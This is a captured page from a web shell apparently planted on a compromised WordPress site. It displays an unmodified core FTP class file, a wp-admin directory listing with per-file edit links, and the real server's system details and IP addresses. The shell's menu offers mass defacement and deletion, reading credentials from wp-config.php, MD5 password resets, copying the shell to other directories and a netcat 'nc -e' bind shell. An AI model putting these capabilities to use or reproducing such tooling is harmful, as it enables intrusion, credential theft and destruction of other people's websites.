WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-admin / includes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-admin/includes/class-ftp-sockets.php (8.28 KB)
<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Socket Based FTP implementation
 *
 * @package PemFTP
 * @subpackage Socket
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */
class ftp_sockets extends ftp_base {

	function __construct($verb=FALSE, $le=FALSE) {
		parent::__construct(true, $verb, $le);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->

	function _settimeout($sock) {
		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		return true;
	}

	function _connect($host, $port) {
		$this->SendMSG("Creating socket");
		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
			return FALSE;
		}
		if(!$this->_settimeout($sock)) return FALSE;
		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
		if (!($res = @socket_connect($sock, $host, $port))) {
			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		$this->_connected=true;
		return $sock;
	}

	function _readmsg($fnction="_readmsg"){
		if(!$this->_connected) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		$result=true;
		$this->_message="";
		$this->_code=0;
		$go=true;
		do {
			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
			if($tmp===false) {
				$go=$result=false;
				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
			} else {
				$this->_message.=$tmp;
				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
			}
		} while($go);
		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
		$this->_code=(int)$regs[1];
		return $result;
	}

	function _exec($cmd, $fnction="_exec") {
		if(!$this->_ready) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
		if($status===false) {
			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
			return FALSE;
		}
		$this->_lastaction=time();
		if(!$this->_readmsg($fnction)) return FALSE;
		return TRUE;
	}

	function _data_prepare($mode=FTP_ASCII) {
		if(!$this->_settype($mode)) return FALSE;
		$this->SendMSG("Creating data socket");
		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		if ($this->_ftp_data_sock < 0) {
			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
			return FALSE;
		}
		if(!$this->_settimeout($this->_ftp_data_sock)) {
			$this->_data_close();
			return FALSE;
		}
		if($this->_passive) {
			if(!$this->_exec("PASV", "pasv")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
			$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
		} else {
			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
				$this->PushError("_data_prepare","cannot get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_bind($this->_ftp_data_sock,$addr)){
				$this->PushError("_data_prepare","cannot bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_listen($this->_ftp_data_sock)) {
				$this->PushError("_data_prepare","cannot listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","cannot get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
		}
		return TRUE;
	}

	function _data_read($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
		}

		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
			if($block==="") break;
			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
			else $out.=$block;
		}
		return $out;
	}

	function _data_write($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return false;
			}
		}
		if(is_resource($fp)) {
			while(!feof($fp)) {
				$block=fread($fp, $this->_ftp_buff_size);
				if(!$this->_data_write_block($mode, $block)) return false;
			}
		} elseif(!$this->_data_write_block($mode, $fp)) return false;
		return true;
	}

	function _data_write_block($mode, $block) {
		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
		do {
			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
			$block=substr($block, $t);
		} while(!empty($block));
		return true;
	}

	function _data_close() {
		@socket_close($this->_ftp_temp_sock);
		@socket_close($this->_ftp_data_sock);
		$this->SendMSG("Disconnected data from remote host");
		return TRUE;
	}

	function _quit() {
		if($this->_connected) {
			@socket_close($this->_ftp_control_sock);
			$this->_connected=false;
			$this->SendMSG("Socket closed");
		}
	}
}
?>
namawaktuukuranownerpermaksi
..
admin-filters.php 2026-05-21 09:117.85 KB 76129f60960:kunden-xw-x--x--
edt
admin.php 2026-02-23 19:413.54 KB 76129f60960:kunden-xw-x-----
edt
ajax-actions.php 2026-10-29 00:28150.61 KB 76129f60960:kunden-xw-x--x--
edt
bookmark.php 2026-05-21 09:1111.4 KB 76129f60960:kunden-xw-x--x--
edt
class-automatic-upgrader-skin.php 2026-02-23 19:413.58 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-plugin-upgrader-skin.php 2026-02-23 19:412.53 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-theme-upgrader-skin.php 2026-02-23 19:412.6 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-upgrader-skin.php 2026-05-21 09:116.5 KB 76129f60960:kunden-xw-x--x--
edt
class-core-upgrader.php 2026-05-21 09:1114.84 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-background.php 2026-08-20 11:4621.24 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-image-header.php 2026-09-18 04:0148.32 KB 76129f60960:kunden-xw-x--x--
edt
class-file-upload-upgrader.php 2026-02-23 19:414.07 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-pure.php 2026-02-23 19:415.3 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-sockets.php 2026-02-23 19:418.28 KB 76129f60960:kunden-xw-x-----
edt
class-ftp.php 2026-08-20 11:4626.7 KB 76129f60960:kunden-xw-x--x--
edt
class-language-pack-upgrader-skin.php 2026-02-23 19:412.8 KB 76129f60960:kunden-xw-x-----
edt
class-language-pack-upgrader.php 2026-05-21 09:1115.16 KB 76129f60960:kunden-xw-x--x--
edt
class-pclzip.php 2026-08-20 11:46192.06 KB 76129f60960:kunden-xw-x-----
edt
class-plugin-installer-skin.php 2026-05-21 09:1111.67 KB 76129f60960:kunden-xw-x--x--
edt
class-plugin-upgrader-skin.php 2026-02-23 19:413.2 KB 76129f60960:kunden-xw-x-----
edt
class-plugin-upgrader.php 2026-05-21 09:1122.7 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-installer-skin.php 2026-05-21 09:1112.67 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-upgrader-skin.php 2026-02-23 19:414.08 KB 76129f60960:kunden-xw-x-----
edt
class-theme-upgrader.php 2026-05-21 09:1126.16 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-category-checklist.php 2026-05-21 09:114.97 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-checklist.php 2026-05-21 09:115.65 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-edit.php 2026-05-21 09:1113.96 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ajax-upgrader-skin.php 2026-02-23 19:414.09 KB 76129f60960:kunden-xw-x-----
edt
class-wp-application-passwords-list-table.php 2026-02-23 19:416.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-automatic-updater.php 2026-08-20 11:4660.45 KB 76129f60960:kunden-xw-x-----
edt
class-wp-comments-list-table.php 2026-08-20 11:4633.81 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-community-events.php 2026-05-21 09:1118.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-debug-data.php 2026-08-20 11:4669.38 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-base.php 2026-08-20 11:4625.02 KB 76129f60960:kunden-xw-x-----
edt
class-wp-filesystem-direct.php 2026-08-20 11:4618.72 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpext.php 2026-08-20 11:4624.34 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpsockets.php 2026-08-20 11:4619.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ssh2.php 2026-08-20 11:4625.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-importer.php 2026-08-20 11:468.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-internal-pointers.php 2026-05-21 09:114.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-links-list-table.php 2026-08-20 11:469.87 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-list-table-compat.php 2026-02-23 19:411.46 KB 76129f60960:kunden-xw-x-----
edt
class-wp-list-table.php 2026-08-20 11:4653.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-media-list-table.php 2026-08-20 11:4627.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-sites-list-table.php 2026-08-20 11:4623.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-themes-list-table.php 2026-08-20 11:4629.56 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-users-list-table.php 2026-10-29 00:2815.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugin-install-list-table.php 2026-08-20 11:4624.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugins-list-table.php 2026-08-20 11:4660.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post-comments-list-table.php 2026-02-23 19:411.42 KB 76129f60960:kunden-xw-x-----
edt
class-wp-posts-list-table.php 2026-08-20 11:4666.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-export-requests-list-table.php 2026-10-29 00:285.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-removal-requests-list-table.php 2026-10-29 00:286.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-policy-content.php 2026-08-20 11:4632.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-privacy-requests-table.php 2026-10-29 00:2814.48 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-screen.php 2026-08-20 11:4636.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-health-auto-updates.php 2026-02-23 19:4114 KB 76129f60960:kunden-xw-x-----
edt
class-wp-site-health.php 2026-08-20 11:46128.09 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-icon.php 2026-08-20 11:466.34 KB 76129f60960:kunden-xw-x-----
edt
class-wp-terms-list-table.php 2026-08-20 11:4621.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-install-list-table.php 2026-05-21 09:1115.33 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-themes-list-table.php 2026-05-21 09:1110.1 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skin.php 2026-05-21 09:116.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skins.php 2026-02-23 19:411.44 KB 76129f60960:kunden-xw-x-----
edt
class-wp-upgrader.php 2026-10-29 00:2848.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-users-list-table.php 2026-10-29 00:2818.97 KB 76129f60960:kunden-xw-x--x--
edt
comment.php 2026-11-19 00:3812.74 KB 76129f60960:kunden-xw-x--x--
edt
continents-cities.php 2026-02-23 19:4120.06 KB 76129f60960:kunden-xw-x-----
edt
credits.php 2026-05-21 09:115.7 KB 76129f60960:kunden-xw-x--x--
edt
dashboard.php 2026-08-20 11:4668.96 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-08-20 11:4640.98 KB 76129f60960:kunden-xw-x--x--
edt
edit-tag-messages.php 2026-02-23 19:411.44 KB 76129f60960:kunden-xw-x-----
edt
export.php 2026-10-07 00:3025.86 KB 76129f60960:kunden-xw-x--x--
edt
file.php 2026-08-20 11:4696.12 KB 76129f60960:kunden-xw-x--x--
edt
image-edit.php 2026-08-20 11:4643.11 KB 76129f60960:kunden-xw-x--x--
edt
image.php 2026-10-07 00:3044.25 KB 76129f60960:kunden-xw-x--x--
edt
import.php 2026-02-23 19:416.46 KB 76129f60960:kunden-xw-x-----
edt
list-table.php 2026-02-23 19:413.71 KB 76129f60960:kunden-xw-x-----
edt
media.php 2026-09-18 04:01117.42 KB 76129f60960:kunden-xw-x--x--
edt
menu.php 2026-05-21 09:119.41 KB 76129f60960:kunden-xw-x--x--
edt
meta-boxes.php 2026-05-21 09:1165.29 KB 76129f60960:kunden-xw-x--x--
edt
misc.php 2026-05-21 09:1145.35 KB 76129f60960:kunden-xw-x--x--
edt
ms-admin-filters.php 2026-02-23 19:411.27 KB 76129f60960:kunden-xw-x-----
edt
ms-deprecated.php 2026-02-23 19:413.68 KB 76129f60960:kunden-xw-x-----
edt
ms.php 2026-10-29 00:2835.21 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.php 2026-08-20 11:4647.98 KB 76129f60960:kunden-xw-x--x--
edt
network.php 2026-05-21 09:1126.4 KB 76129f60960:kunden-xw-x--x--
edt
noop.php 2026-02-23 19:411.12 KB 76129f60960:kunden-xw-x-----
edt
options.php 2026-08-20 11:464.2 KB 76129f60960:kunden-xw-x--x--
edt
plugin-install.php 2026-08-20 11:4638.27 KB 76129f60960:kunden-xw-x--x--
edt
plugin.php 2026-09-18 04:0191.49 KB 76129f60960:kunden-xw-x--x--
edt
post.php 2026-09-18 04:0180.9 KB 76129f60960:kunden-xw-x--x--
edt
privacy-tools.php 2026-08-20 11:4632.94 KB 76129f60960:kunden-xw-x--x--
edt
revision.php 2026-05-21 09:1116.24 KB 76129f60960:kunden-xw-x--x--
edt
schema.php 2026-05-21 09:1144.51 KB 76129f60960:kunden-xw-x--x--
edt
screen.php 2026-05-21 09:116.24 KB 76129f60960:kunden-xw-x--x--
edt
taxonomy.php 2026-05-21 09:118.28 KB 76129f60960:kunden-xw-x--x--
edt
template.php 2026-08-20 11:4697.49 KB 76129f60960:kunden-xw-x--x--
edt
theme-install.php 2026-08-20 11:466.85 KB 76129f60960:kunden-xw-x-----
edt
theme.php 2026-05-21 09:1146.42 KB 76129f60960:kunden-xw-x--x--
edt
translation-install.php 2026-08-20 11:4610.79 KB 76129f60960:kunden-xw-x-----
edt
update-core.php 2026-11-19 00:3884.23 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-08-20 11:4634.01 KB 76129f60960:kunden-xw-x--x--
edt
upgrade.php 2026-08-20 11:46113.94 KB 76129f60960:kunden-xw-x--x--
edt
user.php 2026-08-20 11:4623.35 KB 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-05-21 09:1110.3 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-admin/includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK